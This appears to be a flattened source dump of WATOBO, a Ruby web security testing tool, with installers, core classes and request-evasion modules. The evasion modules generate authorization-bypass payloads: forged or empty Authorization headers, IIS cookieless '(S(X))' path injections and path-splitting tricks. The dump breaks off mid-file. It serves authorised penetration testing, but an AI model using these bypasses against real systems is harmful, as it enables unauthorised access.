-------------------------------------------------------------------------------- /icons/calculator_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/calculator_24x24.ico -------------------------------------------------------------------------------- /icons/cb_checked.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/cb_checked.ico -------------------------------------------------------------------------------- /icons/cb_checked_orange.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/cb_checked_orange.ico -------------------------------------------------------------------------------- /icons/cb_unchecked.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/cb_unchecked.ico -------------------------------------------------------------------------------- /icons/coin_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/coin_24x24.ico -------------------------------------------------------------------------------- /icons/conversation.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/conversation.ico -------------------------------------------------------------------------------- /icons/conversation_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/conversation_24x24.ico -------------------------------------------------------------------------------- /icons/engine.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/engine.ico -------------------------------------------------------------------------------- /icons/filter.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/filter.ico -------------------------------------------------------------------------------- /icons/folder.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/folder.ico -------------------------------------------------------------------------------- /icons/folder_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/folder_16x16.ico -------------------------------------------------------------------------------- /icons/fuzzer_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/fuzzer_16x16.ico -------------------------------------------------------------------------------- /icons/fuzzer_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/fuzzer_24x24.ico -------------------------------------------------------------------------------- /icons/go-down_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/go-down_16x16.png -------------------------------------------------------------------------------- /icons/go-up_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/go-up_16x16.png -------------------------------------------------------------------------------- /icons/help.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/help.ico -------------------------------------------------------------------------------- /icons/help_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/help_16x16.ico -------------------------------------------------------------------------------- /icons/help_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/help_24x24.ico -------------------------------------------------------------------------------- /icons/iChat.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/iChat.ico -------------------------------------------------------------------------------- /icons/iChat_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/iChat_16x16.ico -------------------------------------------------------------------------------- /icons/iChat_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/iChat_24x24.ico -------------------------------------------------------------------------------- /icons/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/icon.png -------------------------------------------------------------------------------- /icons/icons.txt: -------------------------------------------------------------------------------- 1 | Special thanks to: 2 | - Jonas Rask(DRF): http://www.iconfinder.net/search/5/?q=iconset:drf 3 | - Sekkyumo: http://sekkyumu.deviantart.com/art/Developpers-Icons-63052312 -------------------------------------------------------------------------------- /icons/info.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/info.ico -------------------------------------------------------------------------------- /icons/info_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/info_16x16.ico -------------------------------------------------------------------------------- /icons/info_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/info_24x24.ico -------------------------------------------------------------------------------- /icons/interceptor_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/interceptor_24x24.ico -------------------------------------------------------------------------------- /icons/lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/lock.ico -------------------------------------------------------------------------------- /icons/lock_12x12.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/lock_12x12.ico -------------------------------------------------------------------------------- /icons/lock_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/lock_16x16.ico -------------------------------------------------------------------------------- /icons/monitor.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/monitor.ico -------------------------------------------------------------------------------- /icons/plugin.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/plugin.ico -------------------------------------------------------------------------------- /icons/plugin_24x24.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/plugin_24x24.ico -------------------------------------------------------------------------------- /icons/scan_16x16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/scan_16x16.png -------------------------------------------------------------------------------- /icons/send.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/send.ico -------------------------------------------------------------------------------- /icons/server.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/server.ico -------------------------------------------------------------------------------- /icons/server_16x16.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/server_16x16.ico -------------------------------------------------------------------------------- /icons/siberas_logo_x24.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/siberas_logo_x24.gif -------------------------------------------------------------------------------- /icons/tag_blue_32x32.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/tag_blue_32x32.ico -------------------------------------------------------------------------------- /icons/watobo-128x128.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/watobo-128x128.jpeg -------------------------------------------------------------------------------- /icons/watobo-128x128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/watobo-128x128.png -------------------------------------------------------------------------------- /icons/watobo-48x48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/watobo-48x48.png -------------------------------------------------------------------------------- /icons/watobo-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/watobo-logo.png -------------------------------------------------------------------------------- /icons/watobo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/watobo.ico -------------------------------------------------------------------------------- /icons/watobo.ico.old: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/icons/watobo.ico.old -------------------------------------------------------------------------------- /installers/fedora.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # TODO: Check for Ruby 3 | 4 | echo -e "\e[1;31m* install necessary packages ...\e[0m" 5 | sudo dnf install git wget fox-devel libXrandr-devel libpng-devel \ 6 | libXcursor-devel \ 7 | libtiff-devel libjpeg-turbo-devel libnfnetlink-devel \ 8 | libnetfilter_queue-devel xterm gcc-c++ 9 | 10 | echo -e "\e[1;31m* cloning watobo from git ...\e[0m" 11 | git clone https://github.com/siberas/watobo.git 12 | cd watobo 13 | bundle install 14 | 15 | -------------------------------------------------------------------------------- /installers/rbenv.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo -e 'export PATH="$HOME/.rbenv/bin:$PATH"\neval "$(rbenv init -)"' | tee ~/.bash_profile ~/.bashrc 4 | 5 | if [ -d ~/.rbenv ];then exit;fi 6 | echo "+ installing rbenv .." 7 | git clone https://github.com/rbenv/rbenv.git ~/.rbenv 8 | 9 | export PATH="$HOME/.rbenv/bin:$PATH 10 | # echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc 11 | # Add rbenv paths and eval to .bashrc and .bash_profile (needed in login/non-login shells) 12 | 13 | 14 | 15 | . ~/.bash_profile 16 | 17 | # eval "$(rbenv init -) 18 | # echo 'eval "$(rbenv init -)"' >> ~/.bashrc 19 | 20 | git clone https://github.com/rbenv/ruby-build.git "$(rbenv root)"/plugins/ruby-build 21 | rbenv install 3.1.1 22 | rbenv global 3.1.1 23 | 24 | echo -e "install: --no-ri --no-rdoc\nupdate: --no-ri --no-rdoc" > ~/.gemrc -------------------------------------------------------------------------------- /lib/watobo/adapters.rb: -------------------------------------------------------------------------------- 1 | %w( data_store session_store ).each do |lib| 2 | require "watobo/adapters/#{lib}" 3 | end 4 | 5 | #require "watobo/adapters/file/file_store" 6 | require "watobo/adapters/file/marshal_store" 7 | -------------------------------------------------------------------------------- /lib/watobo/adapters/session_store.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | class SessionStore 4 | 5 | # TODO: Define default methods here 6 | end 7 | end -------------------------------------------------------------------------------- /lib/watobo/ca.rb: -------------------------------------------------------------------------------- 1 | require 'watobo/core/ca.rb' 2 | -------------------------------------------------------------------------------- /lib/watobo/core.rb: -------------------------------------------------------------------------------- 1 | %w( passive_scanner_2 subscriber client_cert_store sid_cache ott_cache parameter conversation chat findings chats active_checks passive_checks scope passive_scanner scanner3 finding project scanner proxy session fuzz_gen interceptor passive_check active_check cookie request response intercept_filter intercept_carver plugin forwarding_proxy cert_store netfilter_queue egress_handlers).each do |lib| 2 | require File.join( "watobo", "core", lib) 3 | end 4 | -------------------------------------------------------------------------------- /lib/watobo/core/conversation.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | class Conversation 4 | include Watobo::Constants 5 | attr_accessor :file 6 | def id() 7 | # must be defined 8 | end 9 | 10 | def copyRequest() 11 | # req_copy = [] 12 | # self.request.each do |line| 13 | # req_copy.push line.clone 14 | # end 15 | orig = Utils.copyObject(@request) 16 | # now extend the new request with the Watobo mixins 17 | #copy.extend Watobo::Mixin::Parser::Url 18 | #copy.extend Watobo::Mixin::Parser::Web10 19 | #copy.extend Watobo::Mixin::Shaper::Web10 20 | copy = Watobo::Request.new(orig) 21 | return copy 22 | end 23 | 24 | private 25 | 26 | # def extendRequest 27 | # @request.extend Watobo::Mixin::Shaper::Web10 28 | # @request.extend Watobo::Mixin::Parser::Web10 29 | # @request.extend Watobo::Mixin::Parser::Url 30 | # end 31 | 32 | # def extendResponse 33 | # @response.extend Watobo::Mixin::Parser::Web10 34 | # end 35 | 36 | def initialize(request, response) 37 | @request = request.is_a?(Watobo::Request) ? request : Watobo::Request.new(request) 38 | @response = response.is_a?(Watobo::Response) ? response : Watobo::Response.new(response) 39 | @file = nil 40 | 41 | # extendRequest() 42 | # extendResponse() 43 | #Watobo::Request.create @request 44 | #Watobo::Response.create @response 45 | 46 | end 47 | 48 | end 49 | 50 | end -------------------------------------------------------------------------------- /lib/watobo/core/cookie.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | 4 | #Set-Cookie: mycookie=b41dc9e55d6163f78321996b10c940edcec1b4e55a76464c4e9d25e160ac0ec5b769806b; path=/; secure 5 | class Cookie < Parameter 6 | 7 | # attr :name 8 | # attr :value 9 | # attr :path 10 | # attr :secure 11 | # attr :http_only 12 | 13 | def to_s 14 | "#{name}=#{value}" 15 | end 16 | 17 | def initialize(prefs) 18 | @secure = false 19 | @http_only = false 20 | #c_prefs = nil 21 | 22 | if prefs.respond_to? :has_key? 23 | @secure = prefs.has_key?(:secure) ? prefs[:secure] : false 24 | @http_only = prefs.has_key?(:http_only) ? prefs[:http_only] : false 25 | @location = :cookie 26 | @path = prefs[:path] 27 | @name = prefs[:name] 28 | @value = prefs[:value] 29 | 30 | c_prefs = prefs 31 | else 32 | # remove 'set-cookie:' 33 | prefs.strip! 34 | prefs.gsub!(/^(set-)?cookie(2)?:/i, '') 35 | prefs.strip! 36 | 37 | chunks = prefs.split(";") 38 | # only first chunk holds name and value of cookie 39 | name, value = chunks.first.split("=") 40 | value = '' if value.nil? 41 | 42 | c_prefs = { 43 | name: name.strip, 44 | value: value.strip 45 | } 46 | 47 | m = prefs.match(/path=([^;]*)/) 48 | c_prefs[:path] = m.nil? ? "" : m[1].strip 49 | c_prefs[:secure] = chunks.select { |c| c =~ /Secure/i }.length > 0 50 | c_prefs[:http_only] = chunks.select { |c| c =~ /HttpOnly/i }.length > 0 51 | end 52 | 53 | c_prefs[:location] = :cookie 54 | super c_prefs 55 | end 56 | 57 | end 58 | end -------------------------------------------------------------------------------- /lib/watobo/core/forwarding_proxy.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | module ForwardingProxy 4 | 5 | 6 | def self.get(site=nil) 7 | begin 8 | fp = Watobo::Conf::ForwardingProxy.to_h 9 | 10 | if site.nil? 11 | return nil unless fp.has_key? :default_proxy 12 | return nil if fp[:default_proxy].empty? 13 | name = fp[:default_proxy] 14 | proxy = fp[:name] 15 | return Watobo::Proxy.new(proxy) 16 | end 17 | 18 | fp.each do |pn, ps| 19 | # ignore old style proxy 20 | next unless ps.respond_to? :has_key? 21 | next unless ps.has_key? :enabled 22 | next unless ps[:enabled] 23 | 24 | if ps.has_key? :target_pattern 25 | pat = ps[:target_pattern] 26 | pat = ".*" if pat == "*" 27 | if site =~ /#{ps[:target_pattern]}/ 28 | proxy = Watobo::Proxy.new(ps) 29 | return proxy 30 | end 31 | end 32 | end 33 | 34 | rescue => bang 35 | puts bang 36 | puts bang.backtrace 37 | puts fp 38 | end 39 | return nil 40 | end 41 | end 42 | end -------------------------------------------------------------------------------- /lib/watobo/core/global_wordlists.rb: -------------------------------------------------------------------------------- 1 | module Watobo 2 | module GlobalWordlists 3 | 4 | class Wordlist 5 | 6 | end 7 | 8 | 9 | end 10 | end -------------------------------------------------------------------------------- /lib/watobo/core/min_class.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | class MinClass 4 | 5 | end 6 | end -------------------------------------------------------------------------------- /lib/watobo/core/passive_checks.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | class PassiveModules 4 | @checks = [] 5 | 6 | def self.each(&block) 7 | if block_given? 8 | @checks.map{|c| yield c } 9 | end 10 | 11 | end 12 | 13 | def self.to_a 14 | @checks 15 | end 16 | 17 | def self.length 18 | @checks.length 19 | end 20 | 21 | def self.init 22 | passive_modules = [] 23 | 24 | Dir["#{Watobo.passive_module_path}/*.rb"].each do |mod_file| 25 | begin 26 | mod = File.basename(mod_file) 27 | 28 | load mod_file 29 | rescue => bang 30 | puts "!!!" 31 | puts bang 32 | end 33 | end 34 | 35 | Watobo::Modules::Passive.constants.each do |m| 36 | begin 37 | class_constant = Watobo::Modules::Passive.const_get(m) 38 | pc = class_constant.new(self) 39 | print "." 40 | @checks << pc 41 | 42 | rescue => bang 43 | puts "!!!" 44 | puts bang 45 | end 46 | end 47 | 48 | passive_modules 49 | end 50 | end 51 | end -------------------------------------------------------------------------------- /lib/watobo/core/passive_scanner.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo #:nodoc: all 3 | module PassiveScanner 4 | @queue = Queue.new 5 | @max_threads = 1 6 | @scanners = [] 7 | 8 | class Engine 9 | def initialize 10 | @t = nil 11 | end 12 | 13 | def run 14 | # @t = Watobo.save_thread { 15 | @t = Thread.new { 16 | loop do 17 | # we don't need a sleep here, because pop is blocking 18 | # if Watobo::PassiveScanner.queue.size > 0 19 | chat = Watobo::PassiveScanner.pop 20 | # TODO: make max size configurable 21 | unless chat.nil? or chat.response.to_s.length > 500000 22 | Watobo::PassiveModules.each do |test_module| 23 | begin 24 | test_module.do_test(chat) 25 | rescue => bang 26 | puts bang 27 | puts bang.backtrace # if $DEBUG 28 | # return false 29 | end 30 | end 31 | end 32 | # else 33 | # sleep 0.5 34 | # end 35 | end 36 | } 37 | end 38 | end 39 | 40 | def self.queue 41 | @queue 42 | end 43 | 44 | def self.pop 45 | @queue.pop 46 | end 47 | 48 | def self.start 49 | #@max_threads.times do |i| 50 | e = Engine.new 51 | e.run 52 | # end 53 | end 54 | 55 | def self.add(chat) 56 | @queue.push chat 57 | end 58 | 59 | end 60 | end -------------------------------------------------------------------------------- /lib/watobo/core/plugin.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | 4 | module Plugin 5 | def self.each 6 | constants.each do |c| 7 | yield c if block_given? 8 | end 9 | end 10 | end 11 | 12 | end 13 | -------------------------------------------------------------------------------- /lib/watobo/core/proxy.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | class Proxy < OpenStruct 4 | include Watobo::Constants 5 | 6 | 7 | # def method_missing(name, *args, &block) 8 | # # puts "* instance method missing (#{name})" 9 | # if @settings.has_key? name.to_sym 10 | # return @settings[name.to_sym] 11 | # else 12 | # super 13 | # end 14 | # end 15 | 16 | def to_yaml 17 | self.to_h.to_yaml 18 | end 19 | 20 | 21 | def has_login? 22 | # puts @settings.to_yaml 23 | return unless !!self[:auth_type] 24 | return false if self[:auth_type] == AUTH_TYPE_NONE 25 | return true 26 | end 27 | 28 | def initialize(prefs) 29 | raise ArgumentError, "Proxy needs host(missing), port and name" unless prefs.has_key? :host 30 | raise ArgumentError, "Proxy needs host, port(missing) and name" unless prefs.has_key? :port 31 | raise ArgumentError, "Proxy needs host, port and name(missing)" unless prefs.has_key? :name 32 | 33 | defaults = { 34 | :auth_type => AUTH_TYPE_NONE, 35 | :username => '', 36 | :password => '', 37 | :domain => '', 38 | :workstation => ''} 39 | 40 | defaults.update prefs 41 | super defaults 42 | 43 | end 44 | end 45 | end -------------------------------------------------------------------------------- /lib/watobo/core/subscriber.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | 4 | module Subscriber 5 | 6 | def subscribe(event, &callback) 7 | @event_dispatcher_listeners ||= Hash.new 8 | (@event_dispatcher_listeners[event] ||= []) << callback 9 | end 10 | 11 | def clearEvents(event) 12 | @event_dispatcher_listeners ||= Hash.new 13 | @event_dispatcher_listeners[event] ||= [] 14 | @event_dispatcher_listeners[event].clear 15 | end 16 | 17 | def notify(event, *args) 18 | @event_dispatcher_listeners ||= Hash.new 19 | if @event_dispatcher_listeners[event] 20 | # puts "NOTIFY: #{self}(:#{event}) [#{@event_dispatcher_listeners[event].length}]" if $DEBUG 21 | @event_dispatcher_listeners[event].each do |m| 22 | m.call(*args) if m.respond_to? :call 23 | end 24 | end 25 | end 26 | 27 | end 28 | end -------------------------------------------------------------------------------- /lib/watobo/defaults.rb: -------------------------------------------------------------------------------- 1 | # @private 2 | module Watobo#:nodoc: all 3 | def self.load_defaults 4 | config_path = File.expand_path(File.join(File.dirname(__FILE__),"..","..", "config")) 5 | # puts "* loading defaults from #{config_path}" 6 | Dir.glob("#{config_path}/*.yml").each do |cf| 7 | dummy = File.basename(cf).gsub!(/.yml/,'') 8 | #cc = dummy.strip.gsub(/[^[a-zA-Z\-_]]/,"").gsub( "-" , "_").split("_").map{ |s| s.downcase.capitalize }.join 9 | cc = Watobo::Utils.camelcase dummy 10 | begin 11 | puts cf 12 | settings = YAML.load_file(cf) 13 | settings = {} if !settings 14 | 15 | Watobo::Conf.add(cc, settings ) 16 | rescue => bang 17 | puts "[#{self}] Could not load config #{cf}" 18 | end 19 | end 20 | end 21 | 22 | end 23 | 24 | #puts "=== loading defaults ===" 25 | Watobo.load_defaults 26 | -------------------------------------------------------------------------------- /lib/watobo/environment.rb: -------------------------------------------------------------------------------- 1 | module Watobo #:nodoc: all #:nodoc: all 2 | 3 | VERSION = "1.1.0pre" 4 | 5 | # base directory aka installation path 6 | def self.base_directory 7 | @base_directory ||= "" 8 | @base_directory = File.expand_path(File.join(File.dirname(__FILE__), "..", "..")) 9 | end 10 | 11 | def self.plugin_path 12 | @plugin_directory ||= "" 13 | @plugin_directory = File.join(base_directory, "plugins") 14 | end 15 | 16 | # initialize and return the path where the active modules resides 17 | def self.active_module_paths 18 | return @active_module_paths if @active_module_paths 19 | default_path = File.join(base_directory, "modules", "active") 20 | @active_module_paths = [ default_path ] 21 | 22 | if ENV['WATOBO_MODULES'] 23 | ENV['WATOBO_MODULES'].split(':').each do |path| 24 | if File.exist? path 25 | @active_module_paths << path 26 | else 27 | puts "Module path #{path} does not exist!" 28 | end 29 | end 30 | end 31 | 32 | @active_module_paths 33 | end 34 | 35 | def self.passive_module_path 36 | @passive_module_path = "" 37 | @passive_path = File.join(base_directory, "modules", "passive") 38 | end 39 | 40 | def self.version 41 | Watobo::VERSION 42 | end 43 | 44 | 45 | end -------------------------------------------------------------------------------- /lib/watobo/evasions.rb: -------------------------------------------------------------------------------- 1 | #require 'watobo/evasions/buildin/http_header' 2 | #require 'watobo/evasions/buildin/url_extensions' 3 | #require 'watobo/evasions/buildin/url_parameters' 4 | 5 | require 'watobo/evasions/evasions' -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/append_slash.rb: -------------------------------------------------------------------------------- 1 | module Watobo::EvasionHandlers 2 | class AppendSlash < EvasionHandlerBase 3 | 4 | prio 4 5 | 6 | def run(request, &block) 7 | test = request.clone 8 | test.path = test.path_ext 9 | 10 | yield test 11 | end 12 | end 13 | end -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/auth_header.rb: -------------------------------------------------------------------------------- 1 | module Watobo::EvasionHandlers 2 | # Authorization Bypass based on empty or malformed Autorization Header 3 | # 4 | class AuthHeader < EvasionHandlerBase 5 | 6 | prio 3 7 | 8 | AUTH_TYPES = %w( null nil 0 false true debug authorized ) 9 | AUTH_TYPES.unshift '' 10 | 11 | AUTH_VALUES = [ 12 | '', 13 | 'valid', 14 | 'authorized', 15 | 'false', 16 | 'true' 17 | ] 18 | 19 | def run(request, &block) 20 | AUTH_TYPES.each do |at| 21 | 22 | unless at.empty? 23 | AUTH_VALUES.each do |av| 24 | test = request.clone 25 | test.set_header "Authorization: #{at} #{av}" 26 | yield test 27 | end 28 | else 29 | test = request.clone 30 | test.set_header "Authorization: " 31 | yield test 32 | end 33 | 34 | end 35 | 36 | end 37 | end 38 | 39 | end -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/cookieless.rb: -------------------------------------------------------------------------------- 1 | module Watobo::EvasionHandlers 2 | # https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ 3 | # 4 | class Cookieless < EvasionHandlerBase 5 | 6 | prio 4 7 | 8 | def sample(path, &block) 9 | elements = path.gsub(/^\//, '').split('/') 10 | elements.each_with_index do |p, i| 11 | 12 | element = p 13 | # puts "* #{element}" 14 | samples = [] 15 | samples << "#{element}/(S(X))" 16 | samples << "(S(X))/#{element}" 17 | if element.length > 1 18 | mi = element.length / 2 19 | samples << "#{element[0, mi]}(S(X))#{element[mi..-1]}" 20 | end 21 | 22 | samples.each do |sample| 23 | # puts "Sample: #{sample} @ #{i}" 24 | new_path_elements = elements[0...i] 25 | 26 | new_path_elements << sample 27 | if i < elements.length - 1 28 | new_path_elements.concat elements[i + 1..-1] 29 | end 30 | # puts File.join(new_path_elements) 31 | yield File.join(new_path_elements) if block_given? 32 | # puts '---' 33 | end 34 | 35 | end 36 | 37 | end 38 | 39 | def run(request, &block) 40 | 41 | path_orig = request.path_ext 42 | sample(path_orig) do |sample_path| 43 | test = request.clone 44 | test.path = sample_path 45 | 46 | yield test 47 | end 48 | 49 | end 50 | end 51 | end -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/http_version.rb: -------------------------------------------------------------------------------- 1 | module Watobo::EvasionHandlers 2 | class HTTPVersion < EvasionHandlerBase 3 | 4 | INJECTIONS = %w( 4.0 /1.1 * ) 5 | 6 | prio 3 7 | 8 | def run(request, &block) 9 | INJECTIONS.each do |v| 10 | test = request.clone 11 | test.version = v 12 | yield test 13 | end 14 | end 15 | end 16 | end -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/parm_extensions.rb: -------------------------------------------------------------------------------- 1 | module Watobo::EvasionHandlers 2 | class ParmExtensions < EvasionHandlerBase 3 | 4 | prio 1 5 | 6 | EVASION_PARAMS = %w( y=x.png debug=true mode=debug layout=debug y=x.jpg y=x.bmp y=x.jpeg y=x.svg ) 7 | 8 | def run(request, &block) 9 | puts "! run evasion #{self}" if $DEBUG 10 | params = EVASION_PARAMS.map { |p| 11 | n, v = p.split('=') 12 | prefs = {name: n, value: v} 13 | Watobo::UrlParameter.new(prefs) 14 | } 15 | params.each do |p| 16 | test = request.clone 17 | test.set p 18 | yield test 19 | end 20 | end 21 | end 22 | end 23 | -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/path_extensions.rb: -------------------------------------------------------------------------------- 1 | module Watobo::EvasionHandlers 2 | class PathExtensions < EvasionHandlerBase 3 | 4 | # query extension will only be applied if no query is present in the original request 5 | PATH_EXTENSIONS = %w( WSDL wsdl debug %0d%0a ??? ) 6 | 7 | prio 3 8 | 9 | def run(request, &block) 10 | return if request.query.empty? 11 | 12 | PATH_EXTENSIONS.each do |v| 13 | test = request.clone 14 | test.replaceQuery(v) 15 | yield test 16 | end 17 | end 18 | end 19 | end -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/slashslash.rb: -------------------------------------------------------------------------------- 1 | module Watobo::EvasionHandlers 2 | class SlashSlash < EvasionHandlerBase 3 | 4 | prio 4 5 | 6 | def run(request, &block) 7 | test = request.clone 8 | test.path = test.path_ext.split('/').join('//') 9 | yield test 10 | 11 | # insert ';' between all path elements 12 | test = request.clone 13 | test.path = test.path_ext.split('/').join('///') 14 | yield test 15 | end 16 | end 17 | end -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/url_extensions.rb: -------------------------------------------------------------------------------- 1 | module Watobo::EvasionHandlers 2 | class UrlExtensions < EvasionHandlerBase 3 | 4 | prio 2 5 | 6 | def run(request, &block) 7 | puts "! run evasion #{self}" if $DEBUG 8 | # insert /. between all path elements 9 | #binding.pry 10 | test = request.clone 11 | test.path = test.path.split('/').join('/./') 12 | yield test 13 | 14 | # insert ';' between all path elements 15 | test = request.clone 16 | test.path = test.path.split('/').join(';/') 17 | yield test 18 | 19 | # insert ';' between every single path elements 20 | test = request.clone 21 | pes = test.path.split('/') 22 | 23 | pes.length.times do |i| 24 | first = pes[0..i].join('/') 25 | last = pes[i+1..-1].join('/') 26 | test = request.clone 27 | test.path = first + ';/' + last 28 | yield test 29 | end 30 | 31 | 32 | end 33 | end 34 | end -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/url_parameters.rb: -------------------------------------------------------------------------------- 1 | module Watobo::EvasionHandlers 2 | class UrlParameters < EvasionHandlerBase 3 | 4 | prio 1 5 | 6 | EVASION_PARAMS = %w( y=x.png debug=true mode=debug layout=debug y=x.jpg y=x.bmp y=x.jpeg y=x.svg ) 7 | 8 | def run(request, &block) 9 | puts "! run evasion #{self}" if $DEBUG 10 | params = EVASION_PARAMS.map { |p| 11 | n, v = p.split('=') 12 | prefs = {name: n, value: v} 13 | Watobo::UrlParameter.new(prefs) 14 | } 15 | params.each do |p| 16 | test = request.clone 17 | test.set p 18 | yield test 19 | end 20 | end 21 | end 22 | end 23 | -------------------------------------------------------------------------------- /lib/watobo/evasions/builtin/user_agent.rb: -------------------------------------------------------------------------------- 1 | module 